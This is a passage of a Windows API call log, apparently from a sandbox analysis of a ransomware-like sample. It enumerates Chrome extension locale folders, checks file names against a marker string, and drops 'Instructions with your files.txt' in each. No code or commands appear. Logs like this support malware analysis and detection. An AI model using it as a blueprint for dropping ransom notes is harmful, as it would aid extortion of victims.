[0129.333] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\Instructions with your files.txt") returned 176
[0129.333] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.334] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.334] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.335] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.335] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.335] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.335] CloseHandle (hObject=0x134) returned 1
[0129.335] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.335] GetProcessHeap () returned 0x810000
[0129.335] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.335] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
[0129.335] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en") returned 143
[0129.335] GetProcessHeap () returned 0x810000
[0129.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.335] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*") returned 145
[0129.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.336] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\.") returned 145
[0129.336] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.336] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\..") returned 146
[0129.336] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.336] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 157
[0129.336] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.336] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.336] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\Instructions with your files.txt") returned 176
[0129.336] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.337] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.338] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.338] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.338] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.338] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.338] CloseHandle (hObject=0x134) returned 1
[0129.338] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.338] GetProcessHeap () returned 0x810000
[0129.338] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.338] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
[0129.338] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es") returned 143
[0129.338] GetProcessHeap () returned 0x810000
[0129.338] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.338] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*") returned 145
[0129.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.339] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\.") returned 145
[0129.339] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.339] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\..") returned 146
[0129.339] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.339] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 157
[0129.339] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.339] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.339] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\Instructions with your files.txt") returned 176
[0129.339] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.339] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.340] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.340] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.340] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.340] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.340] CloseHandle (hObject=0x134) returned 1
[0129.341] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.341] GetProcessHeap () returned 0x810000
[0129.341] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.341] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
[0129.341] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi") returned 143
[0129.341] GetProcessHeap () returned 0x810000
[0129.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.341] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*") returned 145
[0129.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.342] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\.") returned 145
[0129.342] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.342] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\..") returned 146
[0129.342] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.342] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 157
[0129.342] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.342] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.342] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\Instructions with your files.txt") returned 176
[0129.342] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.342] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.343] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.343] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.343] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.343] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.343] CloseHandle (hObject=0x134) returned 1
[0129.344] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.344] GetProcessHeap () returned 0x810000
[0129.344] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.344] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1
[0129.344] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil") returned 144
[0129.344] GetProcessHeap () returned 0x810000
[0129.344] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.344] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*") returned 146
